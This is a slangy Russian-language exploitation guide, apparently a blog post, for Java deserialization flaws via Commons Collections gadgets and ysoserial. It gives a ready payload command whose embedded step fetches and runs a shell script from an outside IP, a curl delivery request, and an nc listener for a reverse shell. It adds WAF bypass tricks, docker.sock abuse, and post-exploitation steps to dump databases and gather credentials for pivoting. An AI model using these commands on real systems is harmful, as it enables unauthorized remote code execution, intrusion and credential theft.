Что вижу: Java-приложение, которое хавает сериализованные данные через ObjectInputStream.readObject()
. Это как открытая дверь в подвале с табличкой «Входи, хакер, чай с RCE готов».
Как поймал: Сканю приложение через Burp Suite, вижу подозрительный эндпоинт /deserialize
или куки с Base64-данными. Декомпилирую APK или JAR через jadx
или JD-GUI
— бац, там readObject()
без фильтров. Сразу лезу в документацию: если есть Apache Commons Collections или старый Spring, я уже в предвкушении.
Чем пахнет: Это классика — RCE (Remote Code Execution) с вероятностью 9/10, если в classpath есть «гаджеты» (уязвимые библиотеки типа Commons Collections 3.x). Если фильтры на месте, вероятность падает до 5/10, но всё равно можно поковырять.
Почему Java Deserialization — это боль?
Для тех, кто только вылез из песочницы: сериализация в Java — это процесс превращения объекта в байтовый поток, а десериализация — обратный процесс. Звучит как магия, но если ты не фильтруешь, что десериализуешь, ты будто даёшь пользователю сказать: «Эй, выполни этот код от моего имени». Java по дефолту доверяет входным данным, и ObjectInputStream.readObject()
может создать объект любого класса, который есть в classpath. А если там есть «гаджеты» (специальные уязвимые цепочки), то привет, выполнение произвольного кода.
Самый известный пример — уязвимости через библиотеку Apache Commons Collections (до версии 3.2.2). С помощью цепочки Transformer
можно заставить приложение выполнить команду через Runtime.exec()
. Это как подсунуть официанту записку «сделай мне кофе и заодно отформатируй сервер». И оно сработает, если админ не обновил либу с 2015 года (а таких дохрена, поверь).
CVE для примера: CVE-2015-7501 (Apache Commons Collections) — уязвимость в десериализации, позволяющая RCE. Эксплойт готов, можно найти на Exploit-DB (ID 38909). Или просто погугли ysoserial
— инструмент, который генерит пейлоады для таких вкусняшек.
Чё почём
Эксплойт: Вот тебе готовый пейлодик. Используем ysoserial
для генерации RCE через Commons Collections 3. Допустим, у тебя есть эндпоинт /deserialize
, который принимает сериализованные данные.
-
Качаешь
ysoserial.jar
(github.com/frohoff/ysoserial). -
Генеришь пейлоад для исполнения команды, например,
curl -s http://144.XX.XX.XX:4444/shell.sh | bash
:
1 |
java -jar ysoserial.jar CommonsCollections3 'curl -s http://144.XX.XX.XX:4444/shell.sh | bash' > payload.bin |
3. Отправляешь этот payload.bin
на целевой сервер через Burp или curl:
1 |
curl -X POST -F "data=@payload.bin" http://target.com/deserialize |
Если всё пошло по плану, твой shell.sh скачается и выполнится. Настраивай листенер на 4444 через nc -lvnp 4444
и держи пиво наготове.
Обход защиты: Если сервер фильтрует входные данные или использует SerialKiller
(библиотека для ограничения десериализации), попробуй обойти через менее известные гаджеты. Например, используй цепочки из старых версий Spring или JBoss. Также можно закодировать пейлоад в Base64 и засунуть в куку или параметр, если эндпоинт их обрабатывает:
1 |
curl -X POST -H "Cookie: session=<base64_payload>" http://target.com/deserialize |
Ещё один трюк: если есть WAF, подменяй заголовки через X-Original-IP: 127.0.0.1
или играй с кодировкой (например, UTF-16 для обхода фильтров).
Доказательство: Если эксплойт сработал, ты увидишь обратный шелл в своём nc
. Вот тебе строчка для логов: «Видишь uid=0(root)
в терминале? Это не твой пёсель лает, это сервер твой». Скриншот соединения через nc
— твой билет на баг-баунти. Если платформа типа HackerOne, загружай пруф с таймкодом.
Советы
3 вектора для добивания:
-
Ищи гаджеты в classpath. Если Commons Collections не сработал, проверь другие библиотеки: Spring (CVE-2011-2894), Groovy, или даже Hibernate. Используй
ysoserial
с разными пресетами. -
Копай в исходниках. Если есть доступ к JAR или декомпилированному коду, ищи кастомные классы, которые реализуют
Serializable
. Иногда админы пишут свои «объекты», которые можно превратить в RCE. -
Смотри на окружение. Если сервер на Docker (видишь в хедерах что-то типа
Docker-Engine
?), попробуй добраться до/var/run/docker.sock
. Отправь запросcurl --unix-socket /var/run/docker.sock http://localhost/images/json
через твой шелл. Если повезёт, ты король контейнеров.
План атаки:
-
Сканируй эндпоинты на предмет десериализации через Burp Intruder или
ffuf
с payload’ами изysoserial
. -
Если зацепило (ошибка 500 или таймаут), генери обратный шелл и заливай его через тот же эндпоинт.
-
Дампь конфиги и базу через
sqlmap --os-shell
, если есть доступ к БД. Ищи креды для пивота в другие системы.